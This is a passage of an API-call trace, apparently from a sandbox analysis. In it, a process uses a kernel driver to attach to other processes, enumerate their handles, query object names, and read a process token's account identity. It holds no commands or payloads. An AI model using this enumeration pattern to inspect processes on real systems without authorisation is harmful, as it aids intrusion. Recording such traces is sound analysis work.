Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0106.495] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.495] PsAcquireProcessExitSynchronization () returned 0x0 [0106.496] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0) [0106.496] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f46a70, HandleInformation=0x0) returned 0x0 [0106.496] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.496] PsReleaseProcessExitSynchronization () returned 0x2 [0106.496] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0106.496] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.496] ObfDereferenceObject (Object=0xfffffa8001f46a70) returned 0x1 [0106.496] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.496] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.496] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.496] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0106.496] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.496] PsAcquireProcessExitSynchronization () returned 0x0 [0106.496] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0) [0106.496] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f81a20, HandleInformation=0x0) returned 0x0 [0106.496] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.496] PsReleaseProcessExitSynchronization () returned 0x2 [0106.496] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0106.496] ObQueryNameString (in: Object=0xfffffa8002f81a20, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.496] ObfDereferenceObject (Object=0xfffffa8002f81a20) returned 0x1 [0106.496] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.496] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.496] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.496] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.496] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.496] PsAcquireProcessExitSynchronization () returned 0x0 [0106.496] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0) [0106.496] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.496] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.497] PsReleaseProcessExitSynchronization () returned 0x2 [0106.497] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0106.497] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.497] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4c [0106.497] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.497] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.497] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.497] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0106.497] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.497] PsAcquireProcessExitSynchronization () returned 0x0 [0106.497] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0) [0106.497] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80034ac070, HandleInformation=0x0) returned 0x0 [0106.497] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.497] PsReleaseProcessExitSynchronization () returned 0x2 [0106.497] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0106.497] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.497] ObfDereferenceObject (Object=0xfffffa80034ac070) returned 0x1 [0106.497] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.497] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.497] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.497] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.497] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.497] PsAcquireProcessExitSynchronization () returned 0x0 [0106.497] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0) [0106.497] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001e73f00, HandleInformation=0x0) returned 0x0 [0106.497] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.497] PsReleaseProcessExitSynchronization () returned 0x2 [0106.497] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0106.497] ObQueryNameString (in: Object=0xfffff8a001e73f00, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.497] ObfDereferenceObject (Object=0xfffff8a001e73f00) returned 0x1 [0106.497] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.498] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.498] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0106.498] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.498] PsAcquireProcessExitSynchronization () returned 0x0 [0106.498] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0) [0106.498] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80026e2c40, HandleInformation=0x0) returned 0x0 [0106.498] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.498] PsReleaseProcessExitSynchronization () returned 0x2 [0106.498] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0106.498] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.498] ObfDereferenceObject (Object=0xfffffa80026e2c40) returned 0x1 [0106.498] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.498] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.498] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0106.498] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.498] PsAcquireProcessExitSynchronization () returned 0x0 [0106.498] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0) [0106.498] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003518f20, HandleInformation=0x0) returned 0x0 [0106.498] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.498] PsReleaseProcessExitSynchronization () returned 0x2 [0106.498] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0106.498] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.498] ObfDereferenceObject (Object=0xfffffa8003518f20) returned 0x1 [0106.498] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.498] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.498] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0106.498] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.498] PsAcquireProcessExitSynchronization () returned 0x0 [0106.498] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0) [0106.498] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0106.499] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.499] PsReleaseProcessExitSynchronization () returned 0x2 [0106.499] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0106.499] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.499] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0106.499] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.499] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.499] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.499] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0106.499] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.499] PsAcquireProcessExitSynchronization () returned 0x0 [0106.499] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0) [0106.499] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003544310, HandleInformation=0x0) returned 0x0 [0106.499] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.499] PsReleaseProcessExitSynchronization () returned 0x2 [0106.499] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0106.499] ObQueryNameString (in: Object=0xfffffa8003544310, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.499] ObfDereferenceObject (Object=0xfffffa8003544310) returned 0x1 [0106.499] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.499] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.499] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.499] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0106.499] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.499] PsAcquireProcessExitSynchronization () returned 0x0 [0106.499] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0) [0106.499] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0106.499] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.499] PsReleaseProcessExitSynchronization () returned 0x2 [0106.500] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0106.500] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.500] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0106.500] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.500] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.500] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.500] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.500] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.500] PsAcquireProcessExitSynchronization () returned 0x0 [0106.500] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff88004f095d0) [0106.500] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0106.500] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.500] PsReleaseProcessExitSynchronization () returned 0x2 [0106.500] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0106.500] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.500] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x9 [0106.500] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.500] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.500] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xd64) returned 0xc0 [0106.500] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.500] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800355e060, HandleInformation=0x0) returned 0x0 [0106.500] ObOpenObjectByPointer (in: Object=0xfffffa800355e060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff8000053c) returned 0x0 [0106.500] ObfDereferenceObject (Object=0xfffffa800355e060) returned 0x14 [0106.500] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000053c, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0106.500] ZwClose (Handle=0xffffffff8000053c) returned 0x0 [0106.500] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.501] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.501] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.502] CloseHandle (hObject=0xc8) returned 1 [0106.502] CloseHandle (hObject=0xc0) returned 1 [0106.502] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.502] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.502] PsLookupProcessByProcessId (in: ProcessId=0xd64, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.502] PsAcquireProcessExitSynchronization () returned 0x0 [0106.502] KeStackAttachProcess (in: PROCESS=0xfffffa800355e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800355e060, ApcState=0xfffff88004f095d0) [0106.502] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8009bff270, HandleInformation=0x0) returned 0x0 [0106.502] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.502] PsReleaseProcessExitSynchronization () returned 0x2 [0106.502] ObfDereferenceObject (Object=0xfffffa800355e060) returned 0x12 [0106.502] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.502] ObfDereferenceObject (Object=0xfffffa8009bff270) returned 0x1 [0106.502] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.503] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.503] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.503] PsLookupProcessByProcessId (in: ProcessId=0xd64, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.503] PsAcquireProcessExitSynchronization () returned 0x0 [0106.503] KeStackAttachProcess (in: PROCESS=0xfffffa800355e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800355e060, ApcState=0xfffff88004f095d0) [0106.503] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002184a20, HandleInformation=0x0) returned 0x0 [0106.503] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.503] PsReleaseProcessExitSynchronization () returned 0x2 [0106.503] ObfDereferenceObject (Object=0xfffffa800355e060) returned 0x12 [0106.503] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.503] ObfDereferenceObject (Object=0xfffffa8002184a20) returned 0x1 [0106.503] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.503] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.503] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0106.503] PsLookupProcessByProcessId (in: ProcessId=0xd64, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.503] PsAcquireProcessExitSynchronization () returned 0x0 [0106.503] KeStackAttachProcess (in: PROCESS=0xfffffa800355e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800355e060, ApcState=0xfffff88004f095d0) [0106.503] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80036ec4f0, HandleInformation=0x0) returned 0x0 [0106.503] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.503] PsReleaseProcessExitSynchronization () returned 0x2 [0106.503] ObfDereferenceObject (Object=0xfffffa800355e060) returned 0x12 [0106.503] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.503] ObfDereferenceObject (Object=0xfffffa80036ec4f0) returned 0x3 [0106.503] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.503] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.503] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, 